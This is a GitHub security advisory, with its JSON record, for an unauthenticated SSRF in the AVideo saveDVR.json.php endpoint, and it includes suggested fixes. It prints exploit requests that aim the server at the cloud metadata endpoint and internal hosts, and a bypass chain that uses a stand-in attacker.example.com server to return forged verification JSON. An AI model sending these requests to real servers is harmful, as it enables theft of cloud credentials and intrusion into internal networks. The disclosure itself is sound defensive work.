GHSA-5F7V-4F6G-74RJ
Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-03-25 18:49Summary
A Server-Side Request Forgery (SSRF) vulnerability exists in plugin/Live/standAloneFiles/saveDVR.json.php. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the $_REQUEST['webSiteRootURL'] parameter is used directly to construct a URL that is fetched server-side via file_get_contents(). No authentication, origin validation, or URL allowlisting is performed.
Affected Component
File: plugin/Live/standAloneFiles/saveDVR.json.php, lines 5-28
$streamerURL = ""; // change it to your streamer URL
$configFile = '../../../videos/configuration.php';
if (file_exists($configFile)) {
include_once $configFile;
$streamerURL = $global['webSiteRootURL'];
}
if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) {
$streamerURL = $_REQUEST['webSiteRootURL']; // ATTACKER-CONTROLLED
}
// ...
$verifyURL = "{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST['saveDVR']}";
$result = file_get_contents($verifyURL); // SSRF
Root Cause
- User-controlled URL base: When the configuration file does not exist (standalone deployment),
$streamerURLis set directly from$_REQUEST['webSiteRootURL']with no validation. - No URL allowlisting or scheme restriction: The value is used as-is in a
file_get_contents()call. There is no check forhttp/httpsscheme only, no private IP blocking, and no domain allowlist. - Verification bypass by design: The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.
Exploitation
Part 1: Basic SSRF (Internal Network Access)
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded
webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
The server fetches:
http://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything
While the appended path may cause a 404 on the metadata service, the attacker can also use this for:
- Internal port scanning: webSiteRootURL=http://192.168.1.X:PORT/ — differentiate open/closed ports by response time and error messages.
- Internal service access: webSiteRootURL=http://internal-service/ — reach services behind the firewall.
- Cloud metadata access: With URL path manipulation or by hosting a redirect on the attacker server.
Part 2: Verification Bypass + Downstream Command Execution Chain
This is the more severe attack chain:
-
The attacker sets up a server at
https://attacker.example.com/with the path:/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.phpThat returns:json {"error": false, "response": {"key": "attacker_controlled_value"}} -
The attacker sends: ``` POST /plugin/Live/standAloneFiles/saveDVR.json.php
webSiteRootURL=https://attacker.example.com/&saveDVR=anything ```
-
The server fetches the verification URL from the attacker's server, receives the forged valid response, and proceeds to process it.
-
The
keyvalue from the response flows into shell commands: - Line 55:
$DVRFile = "{$hls_path}{$key}";— used inexec()at line 80 (thoughescapeshellarg()is applied to the path components) - Line 72:
$DVRFileTarget = "{$tmpDVRDir}" . DIRECTORY_SEPARATOR . "{$key}.m3u8";— used withoutescapeshellarg()in:- Line 119:
exec("echo \"{$endLine}\" >> {$DVRFileTarget}"); - Line 157:
exec("ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y"); - Line 167:
exec("rm -R {$tmpDVRDir}");
- Line 119:
The $key is sanitized at line 47 with preg_replace("/[^0-9a-z_:-]/i", "", $key), which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:
- The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.
- The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.
- The colon character (:) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.
Impact
- SSRF: The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.
- Authentication Bypass: The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.
- Potential Command Execution: While the regex on
$keylimits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment. - Information Disclosure: Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.
Suggested Fix
- Remove the user-controlled
webSiteRootURLfallback entirely. Require$streamerURLto be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:
```php // Remove this block: // if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { // $streamerURL = $_REQUEST['webSiteRootURL']; // }
// If $streamerURL is still empty, abort: if (empty($streamerURL)) { error_log("saveDVR: streamerURL is not configured"); die('saveDVR: Server not configured'); } ```
-
If the parameter must remain for backward compatibility, validate it:
php if (empty($streamerURL) && !empty($_REQUEST['webSiteRootURL'])) { $url = filter_var($_REQUEST['webSiteRootURL'], FILTER_VALIDATE_URL); if ($url && preg_match('/^https?:\/\//i', $url)) { // Resolve hostname and block private/reserved IPs $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) { die('saveDVR: Invalid URL'); } $streamerURL = $url; } } -
Apply
escapeshellarg()to all variables used inexec()calls, including$DVRFileTargetat lines 119, 157, and$tmpDVRDirat line 167.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "26.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33351"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-19T19:13:26Z",
"nvd_published_at": "2026-03-23T14:16:33Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nA Server-Side Request Forgery (SSRF) vulnerability exists in `plugin/Live/standAloneFiles/saveDVR.json.php`. When the AVideo Live plugin is deployed in standalone mode (the intended configuration for this file), the `$_REQUEST[\u0027webSiteRootURL\u0027]` parameter is used directly to construct a URL that is fetched server-side via `file_get_contents()`. No authentication, origin validation, or URL allowlisting is performed.\n\n### Affected Component\n\n**File:** `plugin/Live/standAloneFiles/saveDVR.json.php`, lines 5-28\n\n```php\n$streamerURL = \"\"; // change it to your streamer URL\n\n$configFile = \u0027../../../videos/configuration.php\u0027;\nif (file_exists($configFile)) {\n include_once $configFile;\n $streamerURL = $global[\u0027webSiteRootURL\u0027];\n}\n\nif (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027]; // ATTACKER-CONTROLLED\n}\n\n// ...\n\n$verifyURL = \"{$streamerURL}plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR={$_REQUEST[\u0027saveDVR\u0027]}\";\n$result = file_get_contents($verifyURL); // SSRF\n```\n\n### Root Cause\n\n1. **User-controlled URL base:** When the configuration file does not exist (standalone deployment), `$streamerURL` is set directly from `$_REQUEST[\u0027webSiteRootURL\u0027]` with no validation.\n2. **No URL allowlisting or scheme restriction:** The value is used as-is in a `file_get_contents()` call. There is no check for `http`/`https` scheme only, no private IP blocking, and no domain allowlist.\n3. **Verification bypass by design:** The token verification URL is constructed using the attacker-controlled base URL. The attacker can point it to their own server, which returns a JSON response that passes all validation checks, effectively bypassing authentication.\n\n### Exploitation\n\n#### Part 1: Basic SSRF (Internal Network Access)\n\n```\nPOST /plugin/Live/standAloneFiles/saveDVR.json.php\nContent-Type: application/x-www-form-urlencoded\n\nwebSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026saveDVR=anything\n```\n\nThe server fetches:\n```\nhttp://169.254.169.254/latest/meta-data/iam/security-credentials/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php?saveDVR=anything\n```\n\nWhile the appended path may cause a 404 on the metadata service, the attacker can also use this for:\n- **Internal port scanning:** `webSiteRootURL=http://192.168.1.X:PORT/` \u2014 differentiate open/closed ports by response time and error messages.\n- **Internal service access:** `webSiteRootURL=http://internal-service/` \u2014 reach services behind the firewall.\n- **Cloud metadata access:** With URL path manipulation or by hosting a redirect on the attacker server.\n\n#### Part 2: Verification Bypass + Downstream Command Execution Chain\n\nThis is the more severe attack chain:\n\n1. The attacker sets up a server at `https://attacker.example.com/` with the path:\n ```\n /plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php\n ```\n That returns:\n ```json\n {\"error\": false, \"response\": {\"key\": \"attacker_controlled_value\"}}\n ```\n\n2. The attacker sends:\n ```\n POST /plugin/Live/standAloneFiles/saveDVR.json.php\n\n webSiteRootURL=https://attacker.example.com/\u0026saveDVR=anything\n ```\n\n3. The server fetches the verification URL from the attacker\u0027s server, receives the forged valid response, and proceeds to process it.\n\n4. The `key` value from the response flows into shell commands:\n - **Line 55:** `$DVRFile = \"{$hls_path}{$key}\";` \u2014 used in `exec()` at line 80 (though `escapeshellarg()` is applied to the path components)\n - **Line 72:** `$DVRFileTarget = \"{$tmpDVRDir}\" . DIRECTORY_SEPARATOR . \"{$key}.m3u8\";` \u2014 used **without** `escapeshellarg()` in:\n - Line 119: `exec(\"echo \\\"{$endLine}\\\" \u003e\u003e {$DVRFileTarget}\");`\n - Line 157: `exec(\"ffmpeg -i {$DVRFileTarget} -c copy -bsf:a aac_adtstoasc {$filename} -y\");`\n - Line 167: `exec(\"rm -R {$tmpDVRDir}\");`\n\n The `$key` is sanitized at line 47 with `preg_replace(\"/[^0-9a-z_:-]/i\", \"\", $key)`, which limits characters to alphanumerics, underscores, colons, and hyphens. This blocks most command injection payloads. However:\n - The SSRF itself (Part 1) is independently exploitable regardless of the downstream chain.\n - The verification bypass grants the attacker control over the processing flow even if direct OS command injection is constrained by the regex.\n - The colon character (`:`) is allowed by the regex and has special meaning in some shell contexts and FFmpeg input specifiers.\n\n### Impact\n\n- **SSRF:** The server can be used as a proxy to scan and access internal network resources, cloud metadata endpoints, and other services not intended to be publicly accessible.\n- **Authentication Bypass:** The DVR token verification is completely bypassed by redirecting the check to an attacker-controlled server.\n- **Potential Command Execution:** While the regex on `$key` limits direct shell injection, the attacker gains control over file paths and FFmpeg input specifiers, which could be leveraged for further exploitation depending on the environment.\n- **Information Disclosure:** Error messages at lines 31-32 reflect the fetched URL and its content, potentially leaking information about internal infrastructure.\n\n### Suggested Fix\n\n1. **Remove the user-controlled `webSiteRootURL` fallback entirely.** Require `$streamerURL` to be configured in the file or via the configuration file. If a fallback is necessary, validate it against a strict allowlist:\n\n ```php\n // Remove this block:\n // if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n // $streamerURL = $_REQUEST[\u0027webSiteRootURL\u0027];\n // }\n\n // If $streamerURL is still empty, abort:\n if (empty($streamerURL)) {\n error_log(\"saveDVR: streamerURL is not configured\");\n die(\u0027saveDVR: Server not configured\u0027);\n }\n ```\n\n2. **If the parameter must remain for backward compatibility**, validate it:\n ```php\n if (empty($streamerURL) \u0026\u0026 !empty($_REQUEST[\u0027webSiteRootURL\u0027])) {\n $url = filter_var($_REQUEST[\u0027webSiteRootURL\u0027], FILTER_VALIDATE_URL);\n if ($url \u0026\u0026 preg_match(\u0027/^https?:\\/\\//i\u0027, $url)) {\n // Resolve hostname and block private/reserved IPs\n $host = parse_url($url, PHP_URL_HOST);\n $ip = gethostbyname($host);\n if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {\n die(\u0027saveDVR: Invalid URL\u0027);\n }\n $streamerURL = $url;\n }\n }\n ```\n\n3. **Apply `escapeshellarg()` to all variables used in `exec()` calls**, including `$DVRFileTarget` at lines 119, 157, and `$tmpDVRDir` at line 167.",
"id": "GHSA-5f7v-4f6g-74rj",
"modified": "2026-03-25T18:49:00Z",
"published": "2026-03-19T19:13:26Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-5f7v-4f6g-74rj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33351"
},
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/commit/d0c54960389eeb85e76caed5a257ae90e6a739f2"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.